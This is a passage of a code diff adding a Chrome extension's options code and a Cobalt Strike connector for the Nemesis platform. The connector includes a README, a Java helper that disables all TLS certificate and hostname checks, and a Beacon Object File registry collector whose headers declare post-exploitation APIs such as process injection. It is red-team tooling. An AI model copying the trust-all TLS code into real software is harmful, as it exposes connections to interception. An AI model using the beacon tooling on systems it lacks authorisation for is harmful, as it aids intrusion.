+ const val = await optionsGet(key);
+ if (val) {
+ document.getElementById(id).value = val;
+ }
+ }
+
+ const whitelist = await optionsGet(WHITELIST_KEY);
+ if (whitelist == null || Object.keys(whitelist).length == 0) {
+ document.getElementById("whitelist-toggle").checked = false;
+ } else {
+ document.getElementById("whitelist-toggle").checked = true;
+ document.getElementById("whitelist-div").classList.toggle("hidden");
+ document.getElementById("whitelist").value = whitelist.join('\n');
+ }
+
+ await createSetter(URL_KEY, "url");
+ await createSetter(USERNAME_KEY, "username");
+ await createSetter(PASSWORD_KEY, "password");
+ await createSetter(AGENT_KEY, "agent_key");
+});
\ No newline at end of file
diff --git a/cmd/chrome-extension/src/storage.js b/cmd/chrome-extension/src/storage.js
new file mode 100644
index 0000000..e7cac3d
--- /dev/null
+++ b/cmd/chrome-extension/src/storage.js
@@ -0,0 +1,7 @@
+export const get = async (key) => {
+ const a = chrome.storage.local.get([key])
+ if (Object.keys(a).length === 0) return null
+ return a;
+}
+export const set = async (key, value) => chrome.storage.local.set({ [key]: value })
+export const getAll = async () => chrome.storage.local.get()
\ No newline at end of file
diff --git a/cmd/chrome-extension/styles.css b/cmd/chrome-extension/styles.css
new file mode 100644
index 0000000..bd6213e
--- /dev/null
+++ b/cmd/chrome-extension/styles.css
@@ -0,0 +1,3 @@
+@tailwind base;
+@tailwind components;
+@tailwind utilities;
\ No newline at end of file
diff --git a/cmd/chrome-extension/tailwind.config.js b/cmd/chrome-extension/tailwind.config.js
new file mode 100644
index 0000000..f86a7be
--- /dev/null
+++ b/cmd/chrome-extension/tailwind.config.js
@@ -0,0 +1,20 @@
+/** @type {import('tailwindcss').Config} */
+module.exports = {
+ darkMode: 'class',
+ theme: {
+ extend: {
+ colors: {
+ primary: { "50": "#eff6ff", "100": "#dbeafe", "200": "#bfdbfe", "300": "#93c5fd", "400": "#60a5fa", "500": "#3b82f6", "600": "#2563eb", "700": "#1d4ed8", "800": "#1e40af", "900": "#1e3a8a", "950": "#172554" }
+ }
+ },
+ },
+ variants: {
+ extend: {},
+ },
+ plugins: [
+ require('flowbite-typography'),
+ ],
+ content: [
+ './dist/**/*.{html,css,js}'
+ ],
+};
\ No newline at end of file
diff --git a/cmd/chrome-extension/test/sample.js b/cmd/chrome-extension/test/sample.js
new file mode 100644
index 0000000..d3f9a09
--- /dev/null
+++ b/cmd/chrome-extension/test/sample.js
@@ -0,0 +1,6 @@
+describe('Test extension', () => {
+
+ it('This is a dummy test', () => {
+ expect(true).to.be.true;
+ });
+});
diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/README.md b/cmd/connectors/cobaltstrike-nemesis-connector/README.md
new file mode 100755
index 0000000..ce52e0e
--- /dev/null
+++ b/cmd/connectors/cobaltstrike-nemesis-connector/README.md
@@ -0,0 +1,53 @@
+Aggressor project that ingests Cobalt Strike data into Nemesis.
+
+The project can be run on a teamserver to ingest data tasks by ALL clients, or can be run on an individual client instance to ingest data just from that client.
+
+Also contains the `bof_reg_collect` , a Beacon Object File to collect registry data in a serialized manner.
+
+# Usage
+Make sure the following environment variables are set before running `nemesis-connector.cna`:
+
+| Configuration Variable | Required | Example | Default (if applicable) | Description |
+|------------------------------------|----------|-----------------------------|-------------------------|---------------------------------------------------------------------------------------------------------------|
+| NEMESIS_COBALTSTRIKE_DOWNLOADS_DIR | Yes | /tmp/ | | Temporary directory used when syncing downloads from a Cobalt Strike teamserver |
+| NEMESIS_BASE_URL | Yes | http://192.168.230.42:8080/ | | Base URL used when constructing the URL to web api, elastic, kibana, etc (e.g., NEMESIS_BASE_URL + "/kibana") |
+| NEMESIS_CREDS | Yes | nemesis:Qwerty12345 | | Basic auth credentials used when accessing the Nemesis frontend web endpoints |
+| NEMESIS_DEBUG_JSON | No | 1 | 0 | Print JSON responses from web API requests |
+| NEMESIS_PROJECT | Yes | ASSESS-123 | | Assessmend project ID the teamserver is associated with |
+| NEMESIS_DATA_EXPIRATION_DAYS | Yes | 100 | 100 | Number of days after which Nemesis should expire the data |
+
+Example:
+```
+export NEMESIS_COBALTSTRIKE_DOWNLOADS_DIR=/tmp/
+export NEMESIS_BASE_URL=http://192.168.230.100:8080/
+export NEMESIS_CREDS="nemesis:Qwerty12345"
+# export NEMESIS_DEBUG_JSON="1"
+export NEMESIS_PROJECT=ASSESS-X
+export NEMESIS_DATA_EXPIRATION_DAYS=100
+```
+
+When launching the Cobalt Strike GUI or `agscript`, ensure that `SSLUtils.jar` is added to the classpath, e.g. for `agscript`:
+
+```
+...
+
+java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -classpath "${CSJAR}:/home/user/Toolkit/cobaltstrike-nemesis-connector/SSLUtils.jar" aggressor.headless.Start $*
+
+```
+
+Then, load `nemesis-connector.cna` using agscript or into the Cobalt Stike client GUI:
+
+```
+./agscript 50050 nemesis-bot Password123! /home/user/Toolkit/cobaltstrike-nemesis-connector/nemesis-connector.cna
+```
+
+**Note:** the `agscript` command can be run from the teamserver itself, or any other server with Cobalt Strike installed.
+
+
+## Interacting with nemesis-bot
+
+Communication from the client to the `nemesis-bot` on the server occurs through the event log. In order to interact with `nemesis-bot`, go to `Cobalt Strike` -> `Script Console` and use the privmsg() function. All current interaction commands are listed below.
+
+To trigger reprocessing of all downloads:
+
+ aggressor> x privmsg("nemesis-bot", "ReprocessDownloads")
diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/SSLUtils.jar b/cmd/connectors/cobaltstrike-nemesis-connector/SSLUtils.jar
new file mode 100644
index 0000000..ae514a4
Binary files /dev/null and b/cmd/connectors/cobaltstrike-nemesis-connector/SSLUtils.jar differ
diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/SSLUtils.java b/cmd/connectors/cobaltstrike-nemesis-connector/SSLUtils.java
new file mode 100644
index 0000000..40c2f81
--- /dev/null
+++ b/cmd/connectors/cobaltstrike-nemesis-connector/SSLUtils.java
@@ -0,0 +1,51 @@
+import javax.net.ssl.*;
+import java.security.cert.CertificateException;
+import java.security.cert.X509Certificate;
+
+// javac SSLUtils.java
+// jar -cvfm SSLUtils.jar manifest -C ./ SSLUtils.class 'SSLUtils$1.class' 'SSLUtils$truster.class'
+
+public class SSLUtils {
+
+ private static void trustAllHttpsCertificates() throws Exception {
+ TrustManager[] trustAllCerts = new TrustManager[1];
+ TrustManager tm = new truster();
+ trustAllCerts[0] = tm;
+ SSLContext sc = SSLContext.getInstance("SSL");
+ sc.init(null, trustAllCerts, null);
+ HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
+ }
+
+ static class truster implements TrustManager, X509TrustManager {
+ public X509Certificate[] getAcceptedIssuers() {
+ return null;
+ }
+
+ public boolean isServerTrusted(X509Certificate[] certs) {
+ return true;
+ }
+
+ public boolean isClientTrusted(X509Certificate[] certs) {
+ return true;
+ }
+
+ public void checkServerTrusted(X509Certificate[] certs, String authType)
+ throws CertificateException {
+ return;
+ }
+
+ public void checkClientTrusted(X509Certificate[] certs, String authType)
+ throws CertificateException {
+ return;
+ }
+ }
+ public static void ignoreSsl() throws Exception{
+ HostnameVerifier hv = new HostnameVerifier() {
+ public boolean verify(String urlHostName, SSLSession session) {
+ return true;
+ }
+ };
+ trustAllHttpsCertificates();
+ HttpsURLConnection.setDefaultHostnameVerifier(hv);
+ }
+}
\ No newline at end of file
diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/Makefile b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/Makefile
new file mode 100644
index 0000000..9365827
--- /dev/null
+++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/Makefile
@@ -0,0 +1,13 @@
+BOFNAME := reg_collect
+INCLUDE := -I ./common
+FLAGS=-DBOF -c -Os -Wall
+CC_x64 := x86_64-w64-mingw32-gcc
+CC_x86 := i686-w64-mingw32-gcc
+
+all:
+ mkdir -p ./build/
+ $(CC_x64) -o ./build/$(BOFNAME).x64.o $(INCLUDE) $(FLAGS) ./src/entry.c
+ $(CC_x86) -o ./build/$(BOFNAME).x86.o $(INCLUDE) $(FLAGS) ./src/entry.c
+
+clean:
+ rm $(BOFNAME).*.exe
\ No newline at end of file
diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/README.md b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/README.md
new file mode 100644
index 0000000..45f1706
--- /dev/null
+++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/README.md
@@ -0,0 +1,44 @@
+# Building
+
+1. Install mingw with `$ sudo apt-get install mingw-w64` if it is not already installed.
+
+2. Build the collector with `$ make`
+
+# Usage
+
+1. Run the registry collector to get registry keys
+```
+bof_reg_collect
+```
+
+2. Download file in downloads folder
+
+3. Parse output with `nemesis_reg_collect_parser.py`
+
+```
+python3 nemesis_reg_collect_parser.py
+```
+
+## Example
+
+```
+reg_collect HKLM SYSTEM\CurrentControlSet\Services\ACPI
+```
+
+```
+$ python3 ./nemesis_reg_collect_parser.py ~/test.bin /tmp/test.json
+$ cat /tmp/test.json
+[{"type_": 3, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI\\Parameters\\WakeUp", "path_size": 112, "key": "FixedEventMask", "key_size": 28, "value": [32, 5], "value_size": 2}, {"type_": 3, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI\\Parameters\\WakeUp", "path_size": 112, "key": "FixedEventStatus", "key_size": 32, "value": [0, 129], "value_size": 2}, {"type_": 3, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI\\Parameters\\WakeUp", "path_size": 112, "key": "GenericEventMask", "key_size": 32, "value": [8, 0], "value_size": 2}, {"type_": 3, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI\\Parameters\\WakeUp", "path_size": 112, "key": "GenericEventStatus", "key_size": 36, "value": [0, 0], "value_size": 2}, {"type_": 3, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI\\Parameters", "path_size": 98, "key": "WHEAOSCImplemented", "key_size": 36, "value": [0, 0, 0, 0], "value_size": 4}, {"type_": 3, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI\\Parameters", "path_size": 98, "key": "APEIOSCGranted", "key_size": 28, "value": [0, 0, 0, 0], "value_size": 4}, {"type_": 3, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI\\Parameters", "path_size": 98, "key": "CPPCRevisionGranted", "key_size": 38, "value": [0, 0, 0, 0], "value_size": 4}, {"type_": 1, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI\\Parameters", "path_size": 98, "key": "WppRecorder_TraceGuid", "key_size": 42, "value": "{03906a40-cce8-447f-83f4-e2346215db84}\u0000", "value_size": 78}, {"type_": 3, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI\\Parameters", "path_size": 98, "key": "AMLIMaxCTObjs", "key_size": 26, "value": [0, 0, 0, 0], "value_size": 4}, {"type_": 1, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI\\Enum", "path_size": 86, "key": "0", "key_size": 2, "value": "ACPI_HAL\\PNP0C08\\0\u0000", "value_size": 38}, {"type_": 4, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI\\Enum", "path_size": 86, "key": "Count", "key_size": 10, "value": 1, "value_size": 0}, {"type_": 4, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI\\Enum", "path_size": 86, "key": "NextInstance", "key_size": 24, "value": 1, "value_size": 0}, {"type_": 2, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI", "path_size": 76, "key": "ImagePath", "key_size": 18, "value": "System32\\drivers\\ACPI.sys\u0000\u0000", "value_size": 54}, {"type_": 4, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI", "path_size": 76, "key": "Type", "key_size": 8, "value": 1, "value_size": 0}, {"type_": 4, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI", "path_size": 76, "key": "Start", "key_size": 10, "value": 0, "value_size": 0}, {"type_": 4, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI", "path_size": 76, "key": "ErrorControl", "key_size": 24, "value": 3, "value_size": 0}, {"type_": 1, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI", "path_size": 76, "key": "DisplayName", "key_size": 22, "value": "@acpi.inf,%ACPI.SvcDesc%;Microsoft ACPI Driver\u0000", "value_size": 94}, {"type_": 7, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI", "path_size": 76, "key": "Owners", "key_size": 12, "value": ["acpi.inf"], "value_size": 20}, {"type_": 4, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI", "path_size": 76, "key": "Tag", "key_size": 6, "value": 2, "value_size": 0}, {"type_": 1, "path": "SYSTEM\\CurrentControlSet\\Services\\ACPI", "path_size": 76, "key": "Group", "key_size": 10, "value": "Core\u0000", "value_size": 10}]
+```
+
+# TODO
+- Return what path was queried so that data is known by Nemesis
+- File type integrated with Nemesis
+- Compress file blob
+- Parser could be rewritten as a parser combinator
+- Check for memory leaks
+- Make recursive query optional
+- Split functionality
+ - Key existance: Check if key exists
+ - Key enumeration: only return keys and don't return values
+ - SDDL enumeration: Check SDDL along with key/value
\ No newline at end of file
diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/build/reg_collect.x64.o b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/build/reg_collect.x64.o
new file mode 100644
index 0000000..afe863a
Binary files /dev/null and b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/build/reg_collect.x64.o differ
diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/build/reg_collect.x86.o b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/build/reg_collect.x86.o
new file mode 100644
index 0000000..cef53be
Binary files /dev/null and b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/build/reg_collect.x86.o differ
diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/beacon.h b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/beacon.h
new file mode 100644
index 0000000..c9abed3
--- /dev/null
+++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/beacon.h
@@ -0,0 +1,71 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ * - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ * 1/25/2022: updated for 4.6
+ */
+
+#include
+
+/* data API */
+typedef struct {
+ char * original; /* the original buffer [so we can free it] */
+ char * buffer; /* current pointer into our buffer */
+ int length; /* remaining length of data */
+ int size; /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+ char * original; /* the original buffer [so we can free it] */
+ char * buffer; /* current pointer into our buffer */
+ int length; /* remaining length of data */
+ int size; /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT 0x0
+#define CALLBACK_OUTPUT_OEM 0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR 0x0d
+
+DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void BeaconRevertToken();
+DECLSPEC_IMPORT BOOL BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/bofdefs.h b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/bofdefs.h
new file mode 100644
index 0000000..c04ef1c
--- /dev/null
+++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/bofdefs.h
@@ -0,0 +1,1224 @@
+#pragma once
+#pragma intrinsic(memcmp, memcpy, strcpy, strcmp, strlen)
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+// KERNEL32
+#ifdef BOF
+WINBASEAPI void __cdecl MSVCRT$srand(int initial);
+WINBASEAPI int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags,
+ LPCCH lpMultiByteStr,
+ int cbMultiByte,
+ LPWSTR lpWideCharStr,
+ int cchWideChar);
+WINBASEAPI int WINAPI KERNEL32$WideCharToMultiByte(
+ UINT CodePage, DWORD dwFlags, LPCWCH lpWideCharStr, int cchWideChar,
+ LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar,
+ LPBOOL lpUsedDefaultChar);
+WINBASEAPI int __cdecl MSVCRT$rand();
+WINBASEAPI time_t __cdecl MSVCRT$time(time_t *time);
+WINBASEAPI void *WINAPI KERNEL32$VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize,
+ DWORD flAllocationType,
+ DWORD flProtect);
+WINBASEAPI int WINAPI KERNEL32$VirtualFree(LPVOID lpAddress, SIZE_T dwSize,
+ DWORD dwFreeType);
+DECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalAlloc(UINT, SIZE_T);
+DECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalFree(HLOCAL);
+WINBASEAPI void *WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags,
+ SIZE_T dwBytes);
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapReAlloc(HANDLE hHeap, DWORD dwFlags,
+ LPVOID lpMem, SIZE_T dwBytes);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
+WINBASEAPI DWORD WINAPI KERNEL32$FormatMessageA(DWORD dwFlags, LPCVOID lpSource,
+ DWORD dwMessageId,
+ DWORD dwLanguageId,
+ LPSTR lpBuffer, DWORD nSize,
+ va_list *Arguments);
+WINBASEAPI int WINAPI Kernel32$WideCharToMultiByte(
+ UINT CodePage, DWORD dwFlags, LPCWCH lpWideCharStr, int cchWideChar,
+ LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar,
+ LPBOOL lpUsedDefaultChar);
+WINBASEAPI int WINAPI KERNEL32$FileTimeToLocalFileTime(
+ CONST FILETIME *lpFileTime, LPFILETIME lpLocalFileTime);
+WINBASEAPI int WINAPI KERNEL32$FileTimeToSystemTime(CONST FILETIME *lpFileTime,
+ LPSYSTEMTIME lpSystemTime);
+WINBASEAPI int WINAPI KERNEL32$GetDateFormatW(LCID Locale, DWORD dwFlags,
+ CONST SYSTEMTIME *lpDate,
+ LPCWSTR lpFormat,
+ LPWSTR lpDateStr, int cchDate);
+WINBASEAPI VOID WINAPI
+KERNEL32$GetSystemTimeAsFileTime(LPFILETIME lpSystemTimeAsFileTime);
+WINBASEAPI VOID WINAPI KERNEL32$GetLocalTime(LPSYSTEMTIME lpSystemTime);
+WINBASEAPI WINBOOL WINAPI KERNEL32$SystemTimeToFileTime(
+ CONST SYSTEMTIME *lpSystemTime, LPFILETIME lpFileTime);
+WINBASEAPI WINBOOL WINAPI KERNEL32$SystemTimeToTzSpecificLocalTime(
+ CONST TIME_ZONE_INFORMATION *lpTimeZoneInformation,
+ CONST SYSTEMTIME *lpUniversalTime, LPSYSTEMTIME lpLocalTime);
+WINBASEAPI WINBOOL WINAPI
+KERNEL32$GlobalMemoryStatusEx(LPMEMORYSTATUSEX lpBuffer);
+WINBASEAPI WINBOOL WINAPI KERNEL32$GetDiskFreeSpaceExA(
+ LPCSTR lpDirectoryName, PULARGE_INTEGER lpFreeBytesAvailableToCaller,
+ PULARGE_INTEGER lpTotalNumberOfBytes,
+ PULARGE_INTEGER lpTotalNumberOfFreeBytes);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess(VOID);
+DECLSPEC_IMPORT DWORD KERNEL32$GetCurrentProcessId(VOID);
+WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(VOID);
+WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject);
+WINBASEAPI HANDLE WINAPI KERNEL32$CreateThread(
+ LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize,
+ LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter,
+ DWORD dwCreationFlags, LPDWORD lpThreadId);
+WINBASEAPI DWORD WINAPI KERNEL32$GetTickCount(VOID);
+WINBASEAPI ULONGLONG WINAPI KERNEL32$GetTickCount64(VOID);
+WINBASEAPI LPVOID WINAPI
+KERNEL32$CreateFiber(SIZE_T dwStackSize, LPFIBER_START_ROUTINE lpStartAddress,
+ LPVOID lpParameter);
+WINBASEAPI LPVOID WINAPI KERNEL32$ConvertThreadToFiber(LPVOID lpParameter);
+WINBASEAPI WINBOOL WINAPI KERNEL32$ConvertFiberToThread(VOID);
+WINBASEAPI VOID WINAPI KERNEL32$DeleteFiber(LPVOID lpFiber);
+WINBASEAPI VOID WINAPI KERNEL32$SwitchToFiber(LPVOID lpFiber);
+WINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject(HANDLE hHandle,
+ DWORD dwMilliseconds);
+WINBASEAPI VOID WINAPI KERNEL32$Sleep(DWORD dwMilliseconds);
+WINBASEAPI WINBOOL WINAPI KERNEL32$DeleteFileW(LPCWSTR lpFileName);
+WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileW(
+ LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode,
+ LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition,
+ DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
+WINBASEAPI DWORD WINAPI KERNEL32$GetFileSize(HANDLE hFile,
+ LPDWORD lpFileSizeHigh);
+WINBASEAPI WINBOOL WINAPI KERNEL32$ReadFile(HANDLE hFile, LPVOID lpBuffer,
+ DWORD nNumberOfBytesToRead,
+ LPDWORD lpNumberOfBytesRead,
+ LPOVERLAPPED lpOverlapped);
+WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess,
+ WINBOOL bInheritHandle,
+ DWORD dwProcessId);
+WINBASEAPI WINBOOL WINAPI KERNEL32$GetComputerNameExW(
+ COMPUTER_NAME_FORMAT NameType, LPWSTR lpBuffer, LPDWORD nSize);
+WINBASEAPI int WINAPI KERNEL32$lstrlenW(LPCWSTR lpString);
+WINBASEAPI LPWSTR WINAPI KERNEL32$lstrcatW(LPWSTR lpString1, LPCWSTR lpString2);
+WINBASEAPI LPWSTR WINAPI KERNEL32$lstrcpynW(LPWSTR lpString1, LPCWSTR lpString2,
+ int iMaxLength);
+WINBASEAPI DWORD WINAPI KERNEL32$GetFullPathNameW(LPCWSTR lpFileName,
+ DWORD nBufferLength,
+ LPWSTR lpBuffer,
+ LPWSTR *lpFilePart);
+WINBASEAPI DWORD WINAPI KERNEL32$GetFileAttributesW(LPCWSTR lpFileName);
+WINBASEAPI DWORD WINAPI KERNEL32$GetCurrentDirectoryW(DWORD nBufferLength,
+ LPWSTR lpBuffer);
+WINBASEAPI HANDLE WINAPI
+KERNEL32$FindFirstFileW(LPCWSTR lpFileName, LPWIN32_FIND_DATAW lpFindFileData);
+WINBASEAPI WINBOOL WINAPI
+KERNEL32$FindNextFileW(HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData);
+WINBASEAPI WINBOOL WINAPI KERNEL32$FindClose(HANDLE hFindFile);
+WINBASEAPI VOID WINAPI KERNEL32$SetLastError(DWORD dwErrCode);
+#define intAlloc(size) \
+ KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)
+#define intRealloc(ptr, size) \
+ (ptr) \
+ ? KERNEL32$HeapReAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, ptr, \
+ size) \
+ : KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)
+#define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr)
+#define intZeroMemory(addr, size) MSVCRT$memset((addr), 0, size)
+DECLSPEC_IMPORT HGLOBAL KERNEL32$GlobalAlloc(UINT uFlags, SIZE_T dwBytes);
+DECLSPEC_IMPORT HGLOBAL KERNEL32$GlobalFree(HGLOBAL hMem);
+DECLSPEC_IMPORT LPTCH WINAPI KERNEL32$GetEnvironmentStrings();
+DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$FreeEnvironmentStringsA(LPSTR);
+WINBASEAPI DWORD WINAPI KERNEL32$ExpandEnvironmentStringsW(LPCWSTR lpSrc,
+ LPWSTR lpDst,
+ DWORD nSize);
+WINBASEAPI HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD dwFlags,
+ DWORD th32ProcessID);
+WINBASEAPI WINBOOL WINAPI KERNEL32$Process32First(HANDLE hSnapshot,
+ LPPROCESSENTRY32 lppe);
+WINBASEAPI WINBOOL WINAPI KERNEL32$Process32Next(HANDLE hSnapshot,
+ LPPROCESSENTRY32 lppe);
+WINBASEAPI WINBOOL WINAPI KERNEL32$Module32First(HANDLE hSnapshot,
+ LPMODULEENTRY32 lpme);
+WINBASEAPI WINBOOL WINAPI KERNEL32$Module32Next(HANDLE hSnapshot,
+ LPMODULEENTRY32 lpme);
+WINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryA(LPCSTR lpLibFileName);
+WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE hModule,
+ LPCSTR lpProcName);
+WINBASEAPI WINBOOL WINAPI KERNEL32$FreeLibrary(HMODULE hLibModule);
+DECLSPEC_IMPORT WINBASEAPI int WINAPI KERNEL32$lstrlenA(LPCSTR);
+DECLSPEC_IMPORT int WINAPI KERNEL32$GetLocaleInfoEx(LPCWSTR lpLocaleName,
+ LCTYPE LCType,
+ LPWSTR lpLCData,
+ int cchData);
+WINBASEAPI int WINAPI KERNEL32$GetSystemDefaultLocaleName(LPCWSTR lpLocaleName,
+ int cchLocaleName);
+DECLSPEC_IMPORT LCID WINAPI KERNEL32$LocaleNameToLCID(LPCWSTR lpName,
+ DWORD dwFlags);
+DECLSPEC_IMPORT int WINAPI KERNEL32$GetDateFormatEx(
+ LPCWSTR lpLocaleName, DWORD dwFlags, const SYSTEMTIME *lpData,
+ LPCWSTR lpFormat, LPWSTR lpDateStr, int cchDate, LPCWSTR lpCalendar);
+
+// WTSAPI32
+DECLSPEC_IMPORT DWORD WINAPI WTSAPI32$WTSEnumerateSessionsA(LPVOID, DWORD,
+ DWORD,
+ PWTS_SESSION_INFO *,
+ DWORD *);
+DECLSPEC_IMPORT DWORD WINAPI WTSAPI32$WTSQuerySessionInformationA(
+ LPVOID, DWORD, WTS_INFO_CLASS, LPSTR *, DWORD *);
+DECLSPEC_IMPORT DWORD WINAPI WTSAPI32$WTSFreeMemory(PVOID);
+
+// Iphlpapi.lib
+// ULONG WINAPI IPHLPAPI$GetAdaptersInfo (PIP_ADAPTER_INFO AdapterInfo, PULONG
+// SizePointer);
+DECLSPEC_IMPORT DWORD WINAPI IPHLPAPI$GetAdaptersInfo(PIP_ADAPTER_INFO, PULONG);
+DECLSPEC_IMPORT DWORD WINAPI IPHLPAPI$GetIpForwardTable(
+ PMIB_IPFORWARDTABLE pIpForwardTable, PULONG pdwSize, WINBOOL bOrder);
+DECLSPEC_IMPORT DWORD WINAPI IPHLPAPI$GetNetworkParams(PFIXED_INFO, PULONG);
+DECLSPEC_IMPORT ULONG WINAPI IPHLPAPI$GetUdpTable(PMIB_UDPTABLE UdpTable,
+ PULONG SizePointer,
+ WINBOOL Order);
+DECLSPEC_IMPORT ULONG WINAPI IPHLPAPI$GetTcpTable(PMIB_TCPTABLE TcpTable,
+ PULONG SizePointer,
+ WINBOOL Order);
+DECLSPEC_IMPORT ULONG WINAPI IPHLPAPI$GetIpNetTable(PMIB_IPNETTABLE IpNetTable,
+ PULONG SizePointer,
